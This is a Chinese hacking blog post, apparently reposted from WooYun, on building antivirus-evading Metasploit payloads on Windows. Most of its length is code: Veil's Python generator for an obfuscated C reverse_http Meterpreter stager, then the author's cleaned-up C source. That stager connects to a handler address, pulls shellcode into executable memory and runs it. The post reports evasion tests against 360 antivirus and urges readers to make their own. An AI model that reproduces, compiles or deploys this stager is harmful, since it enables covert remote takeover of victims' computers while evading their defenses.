作者:RedFree
本文轉自烏雲
Veil對Payload的免殺已經做的很好了,最新的Veil有39個可用的Payload。但是有時候需要使用Windows來完成所有的滲透測試工作,Linux和Windows切換來切換去很不方便、讓我的渣本安裝個虛擬機更是浪費資源。因此,在Windows下生成免殺Payload已成為當務之急。
一開始我選擇了在Kali下使用Veil生成Python版的Payload然后再到windows下使用Py2exe或是pyinstaller來編譯打包生成可執行文件。但是這種方法讓我感到無比蛋疼…… 第一:Py2exe不支持64位的python(我的系統中已經安裝了python 2.7 X64以及各種python的開發工具,卸載了再安裝、配置是一件令人頭痛的事);第二:pyinstaller雖然支持使用64位的python打包,但是打包出來的程序也是64位的(這讓32位的系統情何以堪);第三:編譯打包后的Payload奇大無比(大約3-7MB) ,
打包時可以選擇生成一個文件(所有運行所須的庫及dll都打包到exe中),也可以選擇生成多個文件(Payload和所需的庫分開。Payload大約1M多
,剩下的十幾個文件又讓人感到頭痛,難道讓我一個一個上傳不成)。最后雖然用這種方法獲得了免殺的Payload,但是還是不得不放棄這種方法。
既然無捷徑可走了,那還是靜下心來去翻一翻Veil吧。下載Veil,在Veil根目錄下的\modules\payloads文件件中看到了生成各種免殺Payload的.py文件。共7類: auxiliary
c
cs
native
powershell
python
ruby
先從比較熟悉的“c”看起吧,在\modules\payloads\c\meterpreter\下有4個用來生成c代碼的py文件。 rev_http.py
rev_http_service.py
rev_tcp.py
rev_tcp_service.py
打開rev_http.py查看: """
Obfuscated, pure C windows/meterpreter/reverse_http.
Implements various randomized string processing functions in an
attempt to obfuscate the call tree.
Also compatible with Cobalt-Strike's Beacon.
Original reverse_tcp inspiration from https://github.com/rsmudge/metasploit-loader
Module built by @harmj0y
"""
import random
from modules.common import helpers
class Payload:
def __init__(self):
# required options
self.shortname = "meter_rev_http"
self.description = "pure windows/meterpreter/reverse_http stager, no shellcode"
self.language = "c"
self.extension = "c"
self.rating = "Excellent"
# optional
# options we require user ineraction for- format is {Option : [Value, Description]]}
self.required_options = {"LHOST" : ["", "IP of the metasploit handler"],
"LPORT" : ["8080", "Port of the metasploit handler"],
"compile_to_exe" : ["Y", "Compile to an executable"]}
def generate(self):
sumvalue_name = helpers.randomString()
checksum_name = helpers.randomString()
winsock_init_name = helpers.randomString()
punt_name = helpers.randomString()
wsconnect_name = helpers.randomString()
# the real includes needed
includes = [ "#include <stdio.h>" , "#include <stdlib.h>", "#include <windows.h>", "#include <string.h>", "#include <time.h>"]
# max length string for obfuscation
global_max_string_length = 10000
max_string_length = random.randint(100,global_max_string_length)
max_num_strings = 10000
# TODO: add in more string processing functions
randName1 = helpers.randomString() # reverse()
randName2 = helpers.randomString() # doubles characters
stringModFunctions = [ (randName1, "char* %s(const char *t) { int length= strlen(t); int i; char* t2 = (char*)malloc((length+1) * sizeof(char)); for(i=0;i<length;i++) { t2[(length-1)-i]=t[i]; } t2[length] = '\\0'; return t2; }" %(randName1)),
(randName2, "char* %s(char* s){ char *result = malloc(strlen(s)*2+1); int i; for (i=0; i<strlen(s)*2+1; i++){ result[i] = s[i/2]; result[i+1]=s[i/2];} result[i] = '\\0'; return result; }" %(randName2))
]
random.shuffle(stringModFunctions)
# obfuscation "logical nop" string generation functions
randString1 = helpers.randomString(50)
randName1 = helpers.randomString()
randVar1 = helpers.randomString()
randName2 = helpers.randomString()
randVar2 = helpers.randomString()
randVar3 = helpers.randomString()
randName3 = helpers.randomString()
randVar4 = helpers.randomString()
randVar5 = helpers.randomString()
stringGenFunctions = [ (randName1, "char* %s(){ char *%s = %s(\"%s\"); return strstr( %s, \"%s\" );}" %(randName1, randVar1, stringModFunctions[0][0], randString1, randVar1, randString1[len(randString1)/2])),
(randName2, "char* %s(){ char %s[%s], %s[%s/2]; strcpy(%s,\"%s\"); strcpy(%s,\"%s\"); return %s(strcat( %s, %s)); }" % (randName2, randVar2, max_string_length, randVar3, max_string_length, randVar2, helpers.randomString(50), randVar3, helpers.randomString(50), stringModFunctions[1][0], randVar2, randVar3)),
(randName3, "char* %s() { char %s[%s] = \"%s\"; char *%s = strupr(%s); return strlwr(%s); }" % (randName3, randVar4, max_string_length, helpers.randomString(50), randVar5, randVar4, randVar5))
]
random.shuffle(stringGenFunctions)
# obfuscation - add in our fake includes
fake_includes = ["#include <sys/timeb.h>", "#include <time.h>", "#include <math.h>", "#include <signal.h>", "#include <stdarg.h>",
"#include <limits.h>", "#include <assert.h>"]
t = random.randint(1,7)
for x in xrange(1, random.randint(1,7)):
includes.append(fake_includes[x])
# shuffle up real/fake includes
random.shuffle(includes)
code = "#define _WIN32_WINNT 0x0500\n"
code += "#include <winsock2.h>\n"
code += "\n".join(includes) + "\n"
#string mod functions
code += stringModFunctions[0][1] + "\n"
code += stringModFunctions[1][1] + "\n"
# build the sumValue function
string_arg_name = helpers.randomString()
retval_name = helpers.randomString()
code += "int %s(char %s[]) {" % (sumvalue_name, string_arg_name)
code += "int %s=0; int i;" %(retval_name)
code += "for (i=0; i<strlen(%s);++i) %s += %s[i];" %(string_arg_name, retval_name, string_arg_name)
code += "return (%s %% 256);}\n" %(retval_name)
# build the winsock_init function
wVersionRequested_name = helpers.randomString()
wsaData_name = helpers.randomString()
code += "void %s() {" % (winsock_init_name)
code += "WORD %s = MAKEWORD(%s, %s); WSADATA %s;" % (wVersionRequested_name, helpers.obfuscateNum(2,4), helpers.obfuscateNum(2,4), wsaData_name)
code += "if (WSAStartup(%s, &%s) < 0) { WSACleanup(); exit(1);}}\n" %(wVersionRequested_name,wsaData_name)
# first logical nop string function
code += stringGenFunctions[0][1] + "\n"
# build punt function
my_socket_name = helpers.randomString()
code += "void %s(SOCKET %s) {" %(punt_name, my_socket_name)
code += "closesocket(%s);" %(my_socket_name)
code += "WSACleanup();"
code += "exit(1);}\n"
# second logical nop string function
code += stringGenFunctions[1][1] + "\n"
# build the reverse_http uri checksum function
randchars = ''.join(random.sample("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",62))
characters_name = helpers.randomString()
string_var_name = helpers.randomString()
code += "char* %s(){" %(checksum_name)
code += "srand (time(NULL));int i;"
code += "char %s[] = \"%s\";" %(characters_name, randchars)
code += "char* %s = malloc(5); %s[4] = 0;" %(string_var_name, string_var_name)
code += "while (1<2){for(i=0;i<3;++i){%s[i] = %s[rand() %% (sizeof(%s)-1)];}" %(string_var_name, characters_name, characters_name)
code += "for(i=0;i<sizeof(%s);i++){ %s[3] = %s[i];" % (characters_name, string_var_name, characters_name)
code += "if (%s(%s) == 92) return %s; } } return 0;}\n" % (sumvalue_name,string_var_name,string_var_name)
# third logical nop string function
code += stringGenFunctions[2][1] + "\n"
# build wsconnect function
target_name = helpers.randomString()
sock_name = helpers.randomString()
my_socket_name = helpers.randomString()
code += "SOCKET %s() { struct hostent * %s; struct sockaddr_in %s; SOCKET %s;" % (wsconnect_name, target_name, sock_name, my_socket_name)
code += "%s = socket(AF_INET, SOCK_STREAM, 0);" %(my_socket_name)
code += "if (%s == INVALID_SOCKET) %s(%s);" %(my_socket_name, punt_name, my_socket_name);
code += "%s = gethostbyname(\"%s\");" %(target_name, self.required_options["LHOST"][0])
code += "if (%s == NULL) %s(%s);" %(target_name, punt_name, my_socket_name)
code += "memcpy(&%s.sin_addr.s_addr, %s->h_addr, %s->h_length);" %(sock_name, target_name, target_name)
code += "%s.sin_family = AF_INET;" %(sock_name)
code += "%s.sin_port = htons(%s);" %(sock_name, helpers.obfuscateNum(int(self.required_options["LPORT"][0]),32))
code += "if ( connect(%s, (struct sockaddr *)&%s, sizeof(%s)) ) %s(%s);" %(my_socket_name, sock_name, sock_name, punt_name, my_socket_name)
code += "return %s;}\n" %(my_socket_name)
# build main() code
size_name = helpers.randomString()
buffer_name = helpers.randomString()
function_name = helpers.randomString()
my_socket_name = helpers.randomString()
count_name = helpers.randomString()
request_buf_name = helpers.randomString()
buf_counter_name = helpers.randomString()
bytes_read_name = helpers.randomString()
# obfuscation stuff
char_array_name_1 = helpers.randomString()
number_of_strings_1 = random.randint(1,max_num_strings)
char_array_name_2 = helpers.randomString()
number_of_strings_2 = random.randint(1,max_num_strings)
char_array_name_3 = helpers.randomString()
number_of_strings_3 = random.randint(1,max_num_strings)
# main method code
code += "int main(int argc, char * argv[]) {"
code += "char * %s; int i;" %(buffer_name)
# obfuscation
code += "char* %s[%s];" % (char_array_name_1, number_of_strings_1)
# malloc our first string obfuscation array
code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_1, char_array_name_1, random.randint(max_string_length,global_max_string_length))
# call the winsock init function
code += "%s();" %(winsock_init_name)
# obfuscation
code += "char* %s[%s];" % (char_array_name_2, number_of_strings_2)
# create our socket
code += "SOCKET %s = %s();" %(my_socket_name,wsconnect_name)
# malloc our second string obfuscation array
code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_2, char_array_name_2, random.randint(max_string_length,global_max_string_length))
# build and send the HTTP request to the handler
code += "char %s[200];" %(request_buf_name)
code += "sprintf(%s, \"GET /%%s HTTP/1.1\\r\\nAccept-Encoding: identity\\r\\nHost: %s:%s\\r\\nConnection: close\\r\\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\\r\\n\\r\\n\", %s());" %(request_buf_name, self.required_options["LHOST"][0], self.required_options["LPORT"][0], checksum_name)
code += "send(%s,%s, strlen( %s ),0);" %(my_socket_name, request_buf_name, request_buf_name)
code += "Sleep(300);"
# TODO: obfuscate/randomize the size of the page allocated
code += "%s = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);" %(buffer_name)
code += "char* %s[%s];" % (char_array_name_3, number_of_strings_3)
# first string obfuscation method
code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_1, char_array_name_1, stringGenFunctions[0][0])
# read the full server response into the buffer
code += "char * %s = %s;" % (buf_counter_name,buffer_name)
code += "int %s; do {" % (bytes_read_name)
code += "%s = recv(%s, %s, 1024, 0);" % (bytes_read_name, my_socket_name, buf_counter_name)
code += "%s += %s; }" % (buf_counter_name,bytes_read_name)
code += "while ( %s > 0 );" % (bytes_read_name)
# malloc our third string obfuscation array
code += "for (i = 0; i < %s; ++i) %s[i] = malloc (%s);" %(number_of_strings_3, char_array_name_3, random.randint(max_string_length,global_max_string_length))
# second string obfuscation method
code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_2, char_array_name_2, stringGenFunctions[1][0])
# real code
code += "closesocket(%s); WSACleanup();" %(my_socket_name)
code += "((void (*)())strstr(%s, \"\\r\\n\\r\\n\") + 4)();" %(buffer_name)
# third string obfuscation method (never called)
code += "for (i=0; i<%s; ++i){strcpy(%s[i], %s());}" %(number_of_strings_3, char_array_name_3, stringGenFunctions[2][0])
code += "return 0;}\n"
return code
可以看到generate()最終返回了混淆后的c代碼,在生成的過程中LHOST和LPORT(默認8080)由用戶定義(上面代碼加粗的部分)。
c代碼中幾乎所有的變量都使用helpers.randomString()來隨機生成,代碼中的整型數字則使用helpers.obfuscateNum()來進行混淆(例如:5會寫成2*2+1或是5*1+0)。
通過還原變量名稱、整理代碼,最終我得到了c_rev_http的源碼。
整理后: #define _WIN32_WINNT 0x0500
#include <winsock2.h>
#include <time.h>
#include <time.h>
#include <stdio.h>
#include <windows.h>
#include <string.h>
#include <stdlib.h>
char* Name2(char* s)
{
char *result = malloc(strlen(s)*2+1);
int i;
for (i=0; i<strlen(s)*2+1; i++)
{
result[i] = s[i/2];
result[i+1]=s[i/2];
}
result[i] = '\0';
return result;
}
char* Name1(const char *t)
{
int length= strlen(t);
int i;
char* t2 = (char*)malloc((length+1) * sizeof(char));
for(i=0;i<length;i++)
{
t2[(length-1)-i]=t[i];
}
t2[length] = '\0';
return t2;
}
int sumvalue(char string_arg[])
{
int retval=0;
int i;
for (i=0; i<strlen(string_arg);++i)
retval += string_arg[i];
return (retval % 256);
}
void winsock_init()
{
WORD wVersionRequested = MAKEWORD((0*4+2), (0*4+2));
WSADATA wsaData;
if (WSAStartup(wVersionRequested, &wsaData) < 0)
{
WSACleanup();
exit(1);
}
}
char* Name1()
{
char *Var1 = Name2("String1");
return strstr( Var1, "i" );
}
void punt(SOCKET my_socket)
{
closesocket(my_socket);
WSACleanup();
exit(1);
}
char* Name2()
{
char Var2[9509], Var3[9509/2];
strcpy(Var2,"kaJYJXmReftagATDFOufqYAGQRnBQtXMmXKQmkCvOzNrkKTARk");
strcpy(Var3,"CmSLJRpqtBItijCukAADNDkwhLdUHHEzzjCNwrFPHinTjiWhBm");
return Name1(strcat( Var2, Var3));
}
char* checksum()
{
srand (time(NULL));
int i;
char characters[] = "S3bwPoskmAy2zCBLxI089eGNEv6FMYZc74QnrljgUtiTahuJKfXqOpRDW1VdH5";
char* string_var = malloc(5);
string_var[4] = 0;
while (1<2)
{
for(i=0;i<3;++i)
{
string_var[i] = characters[rand() % (sizeof(characters)-1)];
}
for(i=0;i<sizeof(characters);i++)
{
string_var[3] = characters[i];
if (sumvalue(string_var) == 92) return string_var;
}
}
return 0;
}
char* Name3()
{
char Var4[9509] = "ZcFFymUJbCDPZbeUvuOMXuZwmNpZEpMwpnKvyfEqXUyfHJVmxp";
char *Var5 = strupr(Var4);
return strlwr(Var5);
}
SOCKET wsconnect()
{
struct hostent * target;
struct sockaddr_in sock;
SOCKET my_socket;
my_socket = socket(AF_INET, SOCK_STREAM, 0);
if (my_socket == INVALID_SOCKET)
punt(my_socket);
target = gethostbyname("192.168.199.124");//rev_http IP
if (target == NULL)
punt(my_socket);
memcpy(&sock.sin_addr.s_addr, target->h_addr, target->h_length);
sock.sin_family = AF_INET;
sock.sin_port = htons(9527);//rev_http Port
if ( connect(my_socket, (struct sockaddr *)&sock, sizeof(sock)) )
punt(my_socket);
return my_socket;
}
int main(int argc, char * argv[])
{
char * buffer;
int i;
char* char_array1[8776];
for (i = 0; i < 8776; ++i)
char_array1[i] = malloc (9719);
winsock_init();
char* char_array2[118];
SOCKET my_socket = wsconnect();
for (i = 0; i < 118; ++i)
char_array2[i] = malloc (9721);
char request_buf[200];
sprintf(request_buf, "GET /%s HTTP/1.1\r\nAccept-Encoding: identity\r\nHost: 192.168.199.124:9527\r\nConnection: close\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.1; Windows NT\r\n\r\n", checksum());
send(my_socket,request_buf, strlen( request_buf ),0);
Sleep(300);
buffer = VirtualAlloc(0, 1000000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
char* char_array3[8279];
for (i=0; i<8776; ++i)
{
strcpy(char_array1[i], Name1());
}
char * buf_counter = buffer;
int bytes_read;
do
{
bytes_read = recv(my_socket, buf_counter, 1024, 0);
buf_counter += bytes_read;
}
while ( bytes_read > 0 );
for (i = 0; i < 8279; ++i)
char_array3[i] = malloc (9549);
for (i=0; i<118; ++i)
{
strcpy(char_array2[i], Name2());
}
closesocket(my_socket);
WSACleanup();
((void (*)())strstr(buffer, "\r\n\r\n") + 4)();
for (i=0; i<8279; ++i)
{
strcpy(char_array3[i], Name3());
}
return 0;
}
因上面的代碼是使用GNU/GCC來編譯的,所以在windows下直接使用vc6編譯會報一大堆錯誤。沒辦法,拿起大學時代那本《C語言程序設計與應用教程》回顧了半天,修改代碼,最終通過編譯。
編譯后體積185kb(可加殼縮小體積),雖然比metasploit生成的要大,但已經滿足要求。
使用同樣的方法,依次還原了c_rev_http_service、c_rev_tcp、c_rev_tcp_service、cs_rev_http、cs_rev_https、cs_rev_tcp的源碼(powershell和ruby的還沒有看)。
編譯生成對應的payload比較一下體積並測試免殺和連接效果:
體積對比:
可見C#代碼編譯后的Payload更小,竟然只有5kb…… cs_rev_tcp使用了三個不同版本的.NET csc編譯。
免殺效果:(360安全衛士最新木馬庫查殺)
連接測試:
c_rev_tcp
c_rev_http
cs_rev_tcp
cs_rev_http
cs_rev_https
想在windows上獲得msf免殺payload的同學趕快行動起來吧!